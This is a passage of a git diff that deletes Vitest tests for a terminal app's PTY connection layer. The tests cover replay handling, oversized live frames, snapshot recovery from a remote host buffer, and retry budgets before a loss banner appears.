-      replayCallback.current?.('blocking replay')
-      await flushAsyncTicks(8)
-      replayCallback.current?.('stale queued replay')
-      vi.mocked(transport.getPtyId).mockReturnValue('remote:env-1@@terminal-replacement')
-      while (parseCallbacks.length > 0) {
-        parseCallbacks.shift()?.()
-        await flushAsyncTicks(4)
-      }
-      await flushAsyncTicks(12)
-
-      expect(writes).not.toContain('blocking replay')
-      expect(writes).not.toContain('stale queued replay')
-      binding.dispose()
-    })
-
-    it('requests snapshot recovery for one oversized live frame deferred by replay', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks14 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      const { deliverTerminalDataWithDeferredCredit } =
-        await import('@/lib/pane-manager/terminal-delivery-credit')
-      const transport = createMockTransport('pty-large-live')
-      const callbacksRef: {
-        replay: ((data: string) => void) | null
-        data: ((data: string) => void) | null
-      } = { replay: null, data: null }
-      transport.connect.mockImplementation(
-        async ({ callbacks }: { callbacks: ConnectCallbacks }) => {
-          callbacksRef.replay = callbacks.onReplayData ?? null
-          callbacksRef.data = callbacks.onData ?? null
-          return 'pty-large-live'
-        }
-      )
-      transportFactoryQueue.push(transport)
-      const pane = createPane(1)
-      const { writes, parseCallbacks } = captureCallbackTerminalWrites(pane)
-      const binding = connectPanePty(
-        pane as never,
-        createManager(1) as never,
-        bindPaneAgentTitleMocks(createDeps() as never, agentTitleMocks14)
-      )
-      await flushAsyncTicks(8)
-      const getMainBufferSnapshot = window.api.pty.getMainBufferSnapshot as unknown as ReturnType<
-        typeof vi.fn
-      >
-      getMainBufferSnapshot.mockResolvedValue(null)
-      getMainBufferSnapshot.mockClear()
-
-      callbacksRef.replay?.('authoritative replay')
-      await flushAsyncTicks(8)
-      const oversizedLiveFrame = 'L'.repeat(512 * 1024 + 1)
-      const acknowledgeDroppedFrame = vi.fn()
-      deliverTerminalDataWithDeferredCredit(acknowledgeDroppedFrame, () => {
-        callbacksRef.data?.(oversizedLiveFrame)
-      })
-      expect(acknowledgeDroppedFrame).not.toHaveBeenCalled()
-      while (parseCallbacks.length > 0) {
-        parseCallbacks.shift()?.()
-        await flushAsyncTicks(4)
-      }
-      await flushAsyncTicks(20)
-
-      expect(getMainBufferSnapshot).toHaveBeenCalledWith('pty-large-live', {
-        scrollbackRows: 5000
-      })
-      expect(writes.some((write) => write.startsWith('L'))).toBe(false)
-      expect(acknowledgeDroppedFrame).toHaveBeenCalledOnce()
-      binding.dispose()
-    })
-  })
-}
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/remote-hidden-output-restore-outcomes.test.ts b/src/renderer/src/components/terminal-pane/pty-connection/output-restore/remote-hidden-output-restore-outcomes.test.ts
deleted file mode 100644
index 81d8a14bfb8..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/remote-hidden-output-restore-outcomes.test.ts
+++ /dev/null
@@ -1,864 +0,0 @@
-import {
-  type PtyConnectionAgentTitleMocks,
-  bindPaneAgentTitleMocks
-} from '../test-fixtures/pty-connection-test-deps'
-import type * as React from 'react'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import {
-  installTerminalTestGlobals,
-  restoreTerminalTestGlobals
-} from '../test-fixtures/pty-connection-test-environment'
-
-async function flushAsyncTicks(count = 6): Promise<void> {
-  for (let i = 0; i < count; i++) {
-    await Promise.resolve()
-  }
-}
-
-const LEAF_1 = '11111111-1111-4111-8111-111111111111' as const
-const LEAF_2 = '22222222-2222-4222-8222-222222222222' as const
-
-function leafIdForPane(paneId: number): string {
-  return paneId === 2 ? LEAF_2 : LEAF_1
-}
-
-type ConnectCallbacks = {
-  onReattachDetermined?: () => void
-  onConnect?: () => void
-  onStreamRecovered?: () => void
-  onData?: (
-    data: string,
-    meta?: { seq?: number; rawLength?: number; background?: boolean; droppedOutput?: boolean }
-  ) => void
-  onReplayData?: (data: string, meta?: { clearBeforeReplay?: boolean }) => void
-  onError?: (msg: string) => void
-  onWriteUnavailable?: () => void
-  onOutputPauseChanged?: (paused: boolean, supported: boolean) => void
-}
-
-type MockTransport = {
-  attach: ReturnType<typeof vi.fn>
-  connect: ReturnType<typeof vi.fn> & {
-    mockImplementation: (
-      impl: (opts: { callbacks?: ConnectCallbacks } & Record<string, unknown>) => Promise<unknown>
-    ) => unknown
-  }
-  disconnect: ReturnType<typeof vi.fn>
-  sendInput: ReturnType<typeof vi.fn>
-  sendInputImmediate?: ReturnType<typeof vi.fn>
-  sendInputAccepted?: ReturnType<typeof vi.fn>
-  claimViewport: ReturnType<typeof vi.fn>
-  resize: ReturnType<typeof vi.fn>
-  isConnected?: ReturnType<typeof vi.fn>
-  getPtyId: ReturnType<typeof vi.fn>
-  getConnectionId: ReturnType<typeof vi.fn>
-  serializeBuffer?: ReturnType<typeof vi.fn>
-  serializeBufferOutcome?: ReturnType<typeof vi.fn>
-}
-
-const scheduleRuntimeGraphSync = vi.fn()
-const shouldSeedCacheTimerOnInitialTitle = vi.fn(() => false)
-const toastInfo = vi.hoisted(() => vi.fn())
-const notifyCodexPaneBoundForStaleSweep = vi.fn()
-
-let mockStoreState: Record<string, unknown>
-let transportFactoryQueue: MockTransport[] = []
-let createdTransportOptions: Record<string, unknown>[] = []
-let storeSubscribers: ((state: Record<string, unknown>) => void)[] = []
-
-vi.mock('@/runtime/sync-runtime-graph/graph-sync-scheduler', () => ({
-  scheduleRuntimeGraphSync
-}))
-
-vi.mock('@/store/index', () => ({
-  useAppStore: {
-    getState: () => mockStoreState,
-    subscribe: (listener: (state: Record<string, unknown>) => void) => {
-      storeSubscribers.push(listener)
-      return () => {
-        storeSubscribers = storeSubscribers.filter((candidate) => candidate !== listener)
-      }
-    }
-  }
-}))
-
-vi.mock('../../../../../../shared/agent-status/title/agent-title-core', async (importOriginal) => {
-  const actual = await importOriginal<Record<string, unknown>>()
-  const isGeminiTerminalTitle = actual.isGeminiTerminalTitle as (title: string) => boolean
-  return {
-    ...actual,
-    isGeminiTerminalTitle: vi.fn((title: string) => isGeminiTerminalTitle(title))
-  }
-})
-vi.mock(
-  '../../../../../../shared/agent-status/title/agent-title-identity',
-  async (importOriginal) => ({
-    ...(await importOriginal<Record<string, unknown>>()),
-    isClaudeAgent: vi.fn(() => false)
-  })
-)
-vi.mock(
-  '../../../../../../shared/agent-status/title/agent-title-status',
-  async (importOriginal) => ({
-    ...(await importOriginal<Record<string, unknown>>()),
-    detectAgentStatusFromTitle: vi.fn(() => null)
-  })
-)
-
-vi.mock('../../titles/cache-timer-seeding', () => ({
-  shouldSeedCacheTimerOnInitialTitle
-}))
-
-vi.mock('sonner', () => ({
-  toast: {
-    info: toastInfo
-  }
-}))
-
-vi.mock('@/lib/agent-session/accounts/codex/codex-stale-pane-sweep', () => ({
-  notifyCodexPaneBoundForStaleSweep
-}))
-
-vi.mock('react', async (importOriginal) => {
-  const actual = await importOriginal<typeof React>()
-  return {
-    ...actual,
-    useCallback: <T extends (...args: unknown[]) => unknown>(fn: T): T => fn
-  }
-})
-
-vi.mock('../../pty-transport/ipc/pty-transport', () => ({
-  createIpcPtyTransport: vi.fn((options: Record<string, unknown>) => {
-    createdTransportOptions.push(options)
-    const nextTransport = transportFactoryQueue.shift()
-    if (!nextTransport) {
-      throw new Error('No mock transport queued')
-    }
-    return nextTransport
-  })
-}))
-
-vi.mock('../../pty-transport/remote-runtime/remote-runtime-pty-transport', () => ({
-  createRemoteRuntimePtyTransport: vi.fn(
-    (_environmentId: string, options: Record<string, unknown>) => {
-      createdTransportOptions.push(options)
-      const nextTransport = transportFactoryQueue.shift()
-      if (!nextTransport) {
-        throw new Error('No mock transport queued')
-      }
-      return nextTransport
-    }
-  )
-}))
-
-vi.mock('../../pty-transport/delivery/pty-dispatcher', async (importOriginal) => {
-  const actual = await importOriginal<Record<string, unknown>>()
-  return {
-    ...actual,
-    getEagerPtyBufferHandle: vi.fn(() => undefined)
-  }
-})
-
-function createMockTransport(initialPtyId: string | null = null): MockTransport {
-  let ptyId = initialPtyId
-  const transport = {
-    attach: vi.fn(({ existingPtyId }: { existingPtyId: string }) => {
-      ptyId = existingPtyId
-    }),
-    connect: vi.fn().mockImplementation(async (opts: { sessionId?: string }) => {
-      if (opts.sessionId) {
-        ptyId = opts.sessionId
-        return { id: opts.sessionId }
-      }
-      return ptyId
-    }),
-    disconnect: vi.fn(() => {
-      ptyId = null
-    }),
-    sendInput: vi.fn(() => true),
-    claimViewport: vi.fn(() => true),
-    resize: vi.fn(() => true),
-    getPtyId: vi.fn(() => ptyId),
-    getConnectionId: vi.fn(() => null),
-    serializeBuffer: undefined
-  } as MockTransport
-  transport.isConnected = vi.fn(() => ptyId !== null)
-  const sendInput = transport.sendInput as unknown as (data: string) => boolean
-  transport.sendInputImmediate = vi.fn((data: string) => sendInput(data))
-  transport.sendInputAccepted = vi.fn(async (data: string) => sendInput(data))
-  return transport
-}
-
-function createPaneContainer(): HTMLElement {
-  const container = new EventTarget() as HTMLElement
-  Object.defineProperty(container, 'dataset', {
-    configurable: true,
-    value: {}
-  })
-  return container
-}
-
-function createPane(paneId: number) {
-  const leafId = leafIdForPane(paneId)
-  const activeBuffer = {
-    type: 'normal' as const,
-    viewportY: 0,
-    baseY: 0,
-    cursorY: 0,
-    cursorX: 0
-  }
-  const terminal = {
-    cols: 120,
-    rows: 40,
-    element: {},
-    buffer: {
-      active: activeBuffer
-    },
-    modes: {
-      bracketedPasteMode: false,
-      sendFocusMode: false
-    },
-    options: {
-      scrollback: 5_000,
-      ignoreBracketedPasteMode: false,
-      theme: {
-        foreground: '#eeeeee',
-        background: '#111111'
-      }
-    },
-    write: vi.fn<(data: string, callback?: () => void) => void>(function write(...args): void {
-      const [data, callback] = args
-      if (data.length === 0 || callback?.name === 'runParsedSteps') {
-        callback?.()
-      }
-    }),
-    resize: vi.fn(),
-    clear: vi.fn(),
-    scrollToBottom: vi.fn(() => {
-      activeBuffer.viewportY = activeBuffer.baseY
-    }),
-    scrollToLine: vi.fn((line: number) => {
-      activeBuffer.viewportY = line
-    }),
-    scrollLines: vi.fn((amount: number) => {
-      activeBuffer.viewportY = Math.max(
-        0,
-        Math.min(activeBuffer.baseY, activeBuffer.viewportY + amount)
-      )
-    }),
-    paste: vi.fn(),
-    onData: vi.fn(() => ({ dispose: vi.fn() })),
-    onResize: vi.fn(() => ({ dispose: vi.fn() })),
-    onRender: vi.fn((_listener: () => void) => ({ dispose: vi.fn() })),
-    onTitleChange: vi.fn(() => ({ dispose: vi.fn() })),
-    hasSelection: vi.fn(() => false),
-    parser: {
-      registerCsiHandler: vi.fn(() => ({ dispose: vi.fn() })),
-      registerOscHandler: vi.fn(() => ({ dispose: vi.fn() }))
-    }
-  }
-  return {
-    id: paneId,
-    leafId,
-    stablePaneId: leafId,
-    terminal,
-    container: createPaneContainer(),
-    fitAddon: {
-      fit: vi.fn(),
-      proposeDimensions: vi.fn(() => ({ cols: terminal.cols, rows: terminal.rows }))
-    }
-  }
-}
-
-function createManager(paneCount = 1, initialActivePaneId: number | null = null) {
-  let activePaneId = initialActivePaneId
-  const panes = Array.from({ length: paneCount }, (_, index) => ({
-    id: index + 1,
-    leafId: leafIdForPane(index + 1)
-  }))
-  return {
-    setPaneGpuRendering: vi.fn(),
-    markPaneHasComplexScriptOutput: vi.fn(),
-    hasWebglRenderer: vi.fn(() => false),
-    getPanes: vi.fn(() => panes),
-    closePane: vi.fn(),
-    getActivePane: vi.fn<() => { id: number; leafId?: string } | null>(() =>
-      activePaneId === null
-        ? null
-        : (panes.find((candidate) => candidate.id === activePaneId) ?? null)
-    ),
-    getNumericIdForLeaf: vi.fn((leafId: string) => {
-      return panes.find((candidate) => candidate.leafId === leafId)?.id ?? null
-    }),
-    setActivePane: vi.fn((paneId: number) => {
-      activePaneId = paneId
-    })
-  }
-}
-
-function createDeps(overrides: Record<string, unknown> = {}) {
-  return {
-    tabId: 'tab-1',
-    worktreeId: 'wt-1',
-    cwd: '/tmp/wt-1',
-    startup: null,
-    restoredLeafId: null,
-    restoredPtyIdByLeafId: {},
-    paneTransportsRef: { current: new Map() },
-    paneMode2031Ref: { current: new Map() },
-    paneKittyKeyboardModesRef: { current: new Map() },
-    paneLastThemeModeRef: { current: new Map() },
-    replayingPanesRef: { current: new Map() },
-    isActiveRef: { current: true },
-    isVisibleRef: { current: true },
-    onPtyExitRef: { current: vi.fn() },
-    onAgentExitedRef: { current: vi.fn() },
-    onPtyErrorRef: { current: vi.fn() },
-    clearTabPtyId: vi.fn(),
-    consumeSuppressedPtyExit: vi.fn(() => false),
-    isPtyShutdownPending: vi.fn(() => false),
-    updateTabTitle: vi.fn(),
-    setRuntimePaneTitle: vi.fn(),
-    clearRuntimePaneTitle: vi.fn(),
-    updateTabPtyId: vi.fn((tabId: string, ptyId: string, replacedPtyId?: string) => {
-      const byTab = (mockStoreState.ptyIdsByTabId ?? {}) as Record<string, string[]>
-      const current = byTab[tabId] ?? []
-      const next =
-        replacedPtyId && current.includes(replacedPtyId)
-          ? current.map((candidate) => (candidate === replacedPtyId ? ptyId : candidate))
-          : current.includes(ptyId)
-            ? current
-            : [...current, ptyId]
-      mockStoreState.ptyIdsByTabId = { ...byTab, [tabId]: next }
-    }),
-    markTerminalBell: vi.fn(),
-    dispatchNotification: vi.fn(),
-    onShowSessionRestoredBanner: vi.fn(),
-    setCacheTimerStartedAt: vi.fn(),
-    syncPanePtyLayoutBinding: vi.fn(),
-    clearExitedPanePtyLayoutBinding: vi.fn(),
-    ...overrides
-  }
-}
-
-function createDeferred<T>(): {
-  promise: Promise<T>
-  resolve: (value: T) => void
-  reject: (reason?: unknown) => void
-} {
-  let resolveDeferred!: (value: T) => void
-  let rejectDeferred!: (reason?: unknown) => void
-  const promise = new Promise<T>((resolve, reject) => {
-    resolveDeferred = resolve
-    rejectDeferred = reject
-  })
-  return { promise, resolve: resolveDeferred, reject: rejectDeferred }
-}
-
-const REMOTE_PTY_ID = 'remote:env-1@@terminal-agent-1'
-// Overflow the 2MB client queue so hidden-time recovery depends on the host’s retained buffer.
-const HIDDEN_BYTES = 'x'.repeat(2 * 1024 * 1024 + 1)
-const LIVE_AGENT_CHUNK = 'LIVE_AGENT_CHUNK\r\n'
-const HOST_SNAPSHOT_MARKER = 'HOST_SNAPSHOT_HIDDEN_AGENT_CONTENT'
-const HOST_SNAPSHOT = {
-  data: `${HOST_SNAPSHOT_MARKER}\r\n`,
-  cols: 120,
-  rows: 40,
-  seq: HIDDEN_BYTES.length + LIVE_AGENT_CHUNK.length,
-  source: 'headless'
-}
-const BANNER_FRAGMENT = 'main recovery was unavailable'
-
-type HostSnapshot = typeof HOST_SNAPSHOT
-
-type RemotePaneDrive = {
-  transport: MockTransport
-  pane: ReturnType<typeof createPane>
-  deps: ReturnType<typeof createDeps>
-  disposable: { dispose: () => void }
-  deliver: (data: string, seq: number) => void
-  setOutputPaused: (paused: boolean) => void
-  recoverStream: () => void
-  writtenChunks: () => string[]
-}
-
-async function connectHiddenRemoteAgentPane(
-  serializeBuffer: ReturnType<typeof vi.fn>,
-  serializeBufferOutcome?: ReturnType<typeof vi.fn>
-): Promise<RemotePaneDrive> {
-  const { connectPanePty } = await import('../connect-pane-pty')
-  const [{ isGeminiTerminalTitle }, { isClaudeAgent }, { detectAgentStatusFromTitle }] =
-    await Promise.all([
-      vi.importMock<Pick<PtyConnectionAgentTitleMocks, 'isGeminiTerminalTitle'>>(
-        '../../../../../../shared/agent-status/title/agent-title-core'
-      ),
-      vi.importMock<Pick<PtyConnectionAgentTitleMocks, 'isClaudeAgent'>>(
-        '../../../../../../shared/agent-status/title/agent-title-identity'
-      ),
-      vi.importMock<Pick<PtyConnectionAgentTitleMocks, 'detectAgentStatusFromTitle'>>(
-        '../../../../../../shared/agent-status/title/agent-title-status'
-      )
-    ])
-  const agentTitleMocks = { isGeminiTerminalTitle, isClaudeAgent, detectAgentStatusFromTitle }
-  const transport = createMockTransport(REMOTE_PTY_ID)
-  transport.serializeBuffer = serializeBuffer
-  transport.serializeBufferOutcome = serializeBufferOutcome
-  const capturedDataCallback: {
-    current: ((data: string, meta?: { seq?: number; rawLength?: number }) => void) | null
-  } = { current: null }
-  const capturedOutputPauseCallback: {
-    current: ((paused: boolean, supported: boolean) => void) | null
-  } = { current: null }
-  const capturedStreamRecoveredCallback: { current: (() => void) | null } = { current: null }
-  transport.connect.mockImplementation(async ({ callbacks }: { callbacks?: ConnectCallbacks }) => {
-    capturedDataCallback.current = callbacks?.onData ?? null
-    capturedOutputPauseCallback.current = callbacks?.onOutputPauseChanged ?? null
-    capturedStreamRecoveredCallback.current = callbacks?.onStreamRecovered ?? null
-    return REMOTE_PTY_ID
-  })
-  transportFactoryQueue.push(transport)
-  const pane = createPane(1)
-  const manager = createManager(1)
-  const deps = createDeps({ isVisibleRef: { current: false } })
-  const disposable = connectPanePty(
-    pane as never,
-    manager as never,
-    bindPaneAgentTitleMocks(deps as never, agentTitleMocks)
-  )
-  await flushAsyncTicks(6)
-  expect(capturedDataCallback.current).not.toBeNull()
-  return {
-    transport,
-    pane,
-    deps,
-    disposable,
-    deliver: (data, seq) => capturedDataCallback.current?.(data, { seq, rawLength: data.length }),
-    setOutputPaused: (paused) => capturedOutputPauseCallback.current?.(paused, true),
-    recoverStream: () => capturedStreamRecoveredCallback.current?.(),
-    writtenChunks: () => pane.terminal.write.mock.calls.map(([data]) => String(data))
-  }
-}
-
-// Reveal a dropped backlog while live agent output continues.
-function driveHiddenBacklogThenReveal(drive: RemotePaneDrive): void {
-  drive.deliver(HIDDEN_BYTES, HIDDEN_BYTES.length)
-  ;(drive.deps.isVisibleRef as { current: boolean }).current = true
-  drive.deliver(LIVE_AGENT_CHUNK, HIDDEN_BYTES.length + LIVE_AGENT_CHUNK.length)
-}
-
-async function advanceThroughNullRetryBudget(drive: RemotePaneDrive): Promise<void> {
-  for (let retry = 0; retry < 3; retry++) {
-    // Live output stays gated behind the in-flight restore during the window.
-    expect(drive.pane.terminal.write).not.toHaveBeenCalledWith(
-      LIVE_AGENT_CHUNK,
-      expect.any(Function)
-    )
-    vi.advanceTimersByTime(50)
-    vi.advanceTimersByTime(0)
-    await flushAsyncTicks(10)
-  }
-}
-
-// Advance enough fake time for bounded re-arms, deferred repaint and retry chains to finish.
-async function advanceModernRetryProbe(): Promise<void> {
-  await vi.advanceTimersByTimeAsync(2_000)
-  await flushAsyncTicks(20)
-}
-
-describe('remote hidden-output restore outcomes', () => {
-  beforeEach(async () => {
-    vi.resetModules()
-    vi.clearAllMocks()
-    await installTerminalTestGlobals()
-    transportFactoryQueue = []
-    createdTransportOptions = []
-    storeSubscribers = []
-    mockStoreState = {
-      activeWorktreeId: 'wt-1',
-      unifiedTabsByWorktree: {},
-      tabsByWorktree: {
-        'wt-1': [{ id: 'tab-1', ptyId: 'tab-pty' }]
-      },
-      ptyIdsByTabId: {
-        'tab-1': ['tab-pty']
-      },
-      terminalPaneStartsByPaneKey: {},
-      terminalPaneResumeOutcomesByPaneKey: {},
-      terminalLayoutsByTabId: {
-        'tab-1': {
-          root: { type: 'leaf', leafId: LEAF_1 },
-          activeLeafId: LEAF_1,
-          expandedLeafId: null,
-          ptyIdsByLeafId: { [LEAF_1]: 'tab-pty' }
-        }
-      },
-      unreadTerminalTabs: {},
-      deleteStateByWorktreeId: {},
-      worktreesByRepo: {
-        repo1: [{ id: 'wt-1', repoId: 'repo1', path: '/tmp/wt-1', displayName: 'feat/notis' }]
-      },
-      runtimeStatusByEnvironmentId: new Map(),
-      repos: [{ id: 'repo1', connectionId: null, displayName: 'orca' }],
-      projects: [],
-      sshConnectionStates: new Map(),
-      transientClearedAgentStatusConnectionIds: {},
-      cacheTimerByKey: {},
-      settings: {
-        promptCacheTimerEnabled: true,
-        experimentalTerminalAttention: true,
-        terminalMainSideEffectAuthority: false
-      },
-      codexRestartNoticeByPtyId: {},
-      deferredSshReconnectTargets: [],
-      deferredSshSessionIdsByTabId: {},
-      removeDeferredSshReconnectTarget: vi.fn(),
-      removeDeferredSshSessionId: vi.fn(),
-      consumePendingColdRestore: vi.fn(() => null),
-      consumePendingSnapshot: vi.fn(() => null),
-      runtimePaneTitlesByTabId: {},
-      agentStatusByPaneKey: {} as Record<string, unknown>,
-      retainedAgentsByPaneKey: {},
-      paneForegroundAgentByPaneKey: {} as Record<string, unknown>,
-      sleepingAgentSessionsByPaneKey: {} as Record<string, unknown>,
-      suppressedPtyExitIds: {},
-      agentLaunchConfigByPaneKey: {} as Record<string, { launchConfig: unknown }>,
-      getAgentLaunchConfigForStatusEntry: vi.fn((entry: { paneKey: string }) => {
-        const byPaneKey = mockStoreState.agentLaunchConfigByPaneKey as Record<
-          string,
-          { launchConfig: unknown } | undefined
-        >
-        return byPaneKey[entry.paneKey]?.launchConfig
-      }),
-      clearSleepingAgentSession: vi.fn((paneKey: string) => {
-        delete (mockStoreState.sleepingAgentSessionsByPaneKey as Record<string, unknown>)[paneKey]
-      }),
-      registerAgentLaunchConfig: vi.fn(),
-      clearAgentLaunchConfig: vi.fn(),
-      observeTerminalGitHubPullRequestLink: vi.fn(),
-      recordTerminalInput: vi.fn(),
-      setAgentStatus: vi.fn(),
-      removeAgentStatus: vi.fn(),
-      dropAgentStatus: vi.fn(),
-      retireAgentPaneAuthority: vi.fn(),
-      setPaneForegroundAgent: vi.fn((paneKey: string, entry: unknown) => {
-        ;(mockStoreState.paneForegroundAgentByPaneKey as Record<string, unknown>)[paneKey] = entry
-      }),
-      clearPaneForegroundAgent: vi.fn((paneKey: string) => {
-        delete (mockStoreState.paneForegroundAgentByPaneKey as Record<string, unknown>)[paneKey]
-      }),
-      markTerminalBell: vi.fn(),
-      markAgentAttentionUnread: vi.fn()
-    }
-    ;(globalThis as unknown as { window: unknown }).window = {
-      api: {
-        ssh: {
-          connect: vi.fn().mockResolvedValue({ status: 'connected' }),
-          needsPassphrasePrompt: vi.fn().mockResolvedValue(false)
-        },
-        pty: {
-          kill: vi.fn(),
-          signal: vi.fn(),
-          listSessions: vi.fn().mockResolvedValue([]),
-          hasPty: vi.fn().mockResolvedValue(true),
-          getSize: vi.fn().mockResolvedValue(null),
-          reportGeometry: vi.fn(),
-          getMainBufferSnapshot: vi.fn().mockResolvedValue(null),
-          getForegroundProcess: vi.fn().mockResolvedValue(null),
-          inspectProcess: vi.fn().mockResolvedValue({
-            foregroundProcess: null,
-            hasChildProcesses: false
-          }),
-          confirmForegroundProcess: vi.fn().mockResolvedValue(null),
-          hasChildProcesses: vi.fn().mockResolvedValue(false),
-          write: vi.fn(),
-          writeAccepted: vi.fn().mockResolvedValue(true),
-          setHiddenRendererPty: vi.fn(),
-          setPtyDeliveryInterest: vi.fn(),
-          ackColdRestore: vi.fn(),
-          onClearBufferRequest: vi.fn(() => vi.fn()),
-          onSerializeBufferRequest: vi.fn(() => vi.fn()),
-          sendSerializedBuffer: vi.fn(),
-          declarePendingPaneSerializer: vi.fn().mockResolvedValue(1),
-          settlePaneSerializer: vi.fn().mockResolvedValue(undefined),
-          clearPendingPaneSerializer: vi.fn().mockResolvedValue(undefined),
-          reportRendererSerializerReady: vi.fn().mockResolvedValue(undefined)
-        },
-        platform: {
-          get: vi.fn(() => ({ platform: 'darwin', osRelease: '25.0.0' }))
-        },
-        notifications: {
-          dispatch: vi.fn().mockResolvedValue({ delivered: true }),
-          playSound: vi.fn().mockResolvedValue({ played: true })
-        },
-        runtime: {
-          restoreTerminalFit: vi.fn().mockResolvedValue({ restored: true })
-        },
-        agentStatus: {
-          inferInterrupt: vi.fn().mockResolvedValue(false)
-        }
-      },
-      dispatchEvent: vi.fn(),
-      addEventListener: vi.fn(),
-      removeEventListener: vi.fn()
-    }
-    globalThis.requestAnimationFrame = vi.fn((callback: FrameRequestCallback) => {
-      callback(0)
-      return 1
-    })
-    globalThis.cancelAnimationFrame = vi.fn()
-  })
-
-  afterEach(restoreTerminalTestGlobals)
-
-  it('[modern] repaints a recovered visible pane from the retained host buffer', async () => {
-    const serializeBuffer = vi.fn()
-    const serializeBufferOutcome = vi.fn().mockResolvedValue({
-      availability: { kind: 'snapshot' },
-      snapshot: HOST_SNAPSHOT
-    })
-    const drive = await connectHiddenRemoteAgentPane(serializeBuffer, serializeBufferOutcome)
-    ;(drive.deps.isVisibleRef as { current: boolean }).current = true
-
-    drive.recoverStream()
-    await flushAsyncTicks(20)
-
-    expect(serializeBufferOutcome).toHaveBeenCalledTimes(1)
-    // Why: the multiplexer only moves its gap baseline for images a pane repaints from.
-    expect(serializeBufferOutcome).toHaveBeenCalledWith(
-      expect.objectContaining({ repaintsPane: true })
-    )
-    expect(drive.writtenChunks().join('')).toContain(HOST_SNAPSHOT_MARKER)
-    expect(serializeBuffer).not.toHaveBeenCalled()
-    drive.disposable.dispose()
-  })
-
-  it('[modern] accepts an empty snapshot as successful recovery without a loss banner', async () => {
-    const serializeBuffer = vi.fn()
-    const serializeBufferOutcome = vi.fn().mockResolvedValue({
-      availability: { kind: 'snapshot' },
-      snapshot: { ...HOST_SNAPSHOT, data: '' }
-    })
-    const drive = await connectHiddenRemoteAgentPane(serializeBuffer, serializeBufferOutcome)
-    vi.useFakeTimers()
-    driveHiddenBacklogThenReveal(drive)
-    await flushAsyncTicks(20)
-
-    expect(serializeBufferOutcome).toHaveBeenCalledTimes(1)
-    expect(serializeBuffer).not.toHaveBeenCalled()
-    expect(drive.writtenChunks().join('')).not.toContain(BANNER_FRAGMENT)
-    await vi.advanceTimersByTimeAsync(60_000)
-    await flushAsyncTicks(20)
-    expect(serializeBufferOutcome).toHaveBeenCalledTimes(1)
-    drive.disposable.dispose()
-  })
-
-  it('[modern] waits for a reported outcome instead of applying the old elapsed-time deadline', async () => {
-    const pendingOutcome = createDeferred<{
-      availability: { kind: 'snapshot' }
-      snapshot: HostSnapshot
-    }>()
-    const serializeBuffer = vi.fn()
-    const serializeBufferOutcome = vi.fn().mockReturnValue(pendingOutcome.promise)
-    const drive = await connectHiddenRemoteAgentPane(serializeBuffer, serializeBufferOutcome)
-    vi.useFakeTimers()
-    driveHiddenBacklogThenReveal(drive)
-    await flushAsyncTicks(20)
-
-    await vi.advanceTimersByTimeAsync(60_000)
-    await flushAsyncTicks(20)
-    expect(serializeBufferOutcome).toHaveBeenCalledTimes(1)
-    expect(drive.writtenChunks().join('')).not.toContain(BANNER_FRAGMENT)
-
-    pendingOutcome.resolve({ availability: { kind: 'snapshot' }, snapshot: HOST_SNAPSHOT })
-    await flushAsyncTicks(20)
-    expect(drive.writtenChunks().join('')).toContain(HOST_SNAPSHOT_MARKER)
-    expect(serializeBuffer).not.toHaveBeenCalled()
-    drive.disposable.dispose()
-  })
-
-  it('[modern] banners on the seventh retry-worthy host answer and never sends an eighth request', async () => {
-    const serializeBuffer = vi.fn()
-    const serializeBufferOutcome = vi.fn().mockResolvedValue({
-      availability: { kind: 'retry-worthy', cause: 'host-pending-output-overflowed' },
-      snapshot: null
-    })
-    const drive = await connectHiddenRemoteAgentPane(serializeBuffer, serializeBufferOutcome)
-    vi.useFakeTimers()
-    driveHiddenBacklogThenReveal(drive)
-    await flushAsyncTicks(20)
-
-    expect(serializeBufferOutcome).toHaveBeenCalledTimes(1)
-    for (let expectedRequests = 2; expectedRequests <= 7; expectedRequests += 1) {
-      await advanceModernRetryProbe()
-      expect(serializeBufferOutcome).toHaveBeenCalledTimes(expectedRequests)
-      expect(drive.writtenChunks().join('').includes(BANNER_FRAGMENT)).toBe(expectedRequests === 7)
-    }
-    await vi.advanceTimersByTimeAsync(60_000)
-    await flushAsyncTicks(20)
-    expect(serializeBufferOutcome).toHaveBeenCalledTimes(7)
-    expect(drive.writtenChunks().filter((data) => data.includes(BANNER_FRAGMENT))).toHaveLength(1)
-    expect(serializeBuffer).not.toHaveBeenCalled()
-    drive.disposable.dispose()
-  })
-
-  // Local request gates send nothing to the host; charging them as host refusal would falsely disclose loss on healthy panes.
-  it('[modern] does not spend the host answer budget on locally-gated retries', async () => {
-    const serializeBuffer = vi.fn()
-    const serializeBufferOutcome = vi.fn().mockResolvedValue({
-      availability: { kind: 'retry-worthy', cause: 'resync-in-flight' },
-      snapshot: null
-    })
-    const drive = await connectHiddenRemoteAgentPane(serializeBuffer, serializeBufferOutcome)
-    vi.useFakeTimers()
-    driveHiddenBacklogThenReveal(drive)
-    await flushAsyncTicks(20)
-
-    // Well past the 7-answer host budget: a stuck local gate must not be mistaken for host refusals.
-    for (let expectedRequests = 2; expectedRequests <= 12; expectedRequests += 1) {
-      await advanceModernRetryProbe()
-      expect(serializeBufferOutcome).toHaveBeenCalledTimes(expectedRequests)
-      expect(drive.writtenChunks().join('')).not.toContain(BANNER_FRAGMENT)
-    }
-
-    // The gate clears: the pane recovers the hidden bytes it would otherwise have declared lost.
-    serializeBufferOutcome.mockResolvedValue({
-      availability: { kind: 'snapshot' },
-      snapshot: HOST_SNAPSHOT
-    })
-    await advanceModernRetryProbe()
-    expect(drive.writtenChunks().join('')).toContain(HOST_SNAPSHOT_MARKER)
-    expect(drive.writtenChunks().join('')).not.toContain(BANNER_FRAGMENT)
-    expect(serializeBuffer).not.toHaveBeenCalled()
-    drive.disposable.dispose()
-  })
-
-  it('[modern] still bounds locally-gated retries at their own cap', async () => {
-    const serializeBuffer = vi.fn()
-    const serializeBufferOutcome = vi.fn().mockResolvedValue({
-      availability: { kind: 'retry-worthy', cause: 'connection-not-ready' },
-      snapshot: null
-    })
-    const drive = await connectHiddenRemoteAgentPane(serializeBuffer, serializeBufferOutcome)
-    vi.useFakeTimers()
-    driveHiddenBacklogThenReveal(drive)
-    await flushAsyncTicks(20)
-
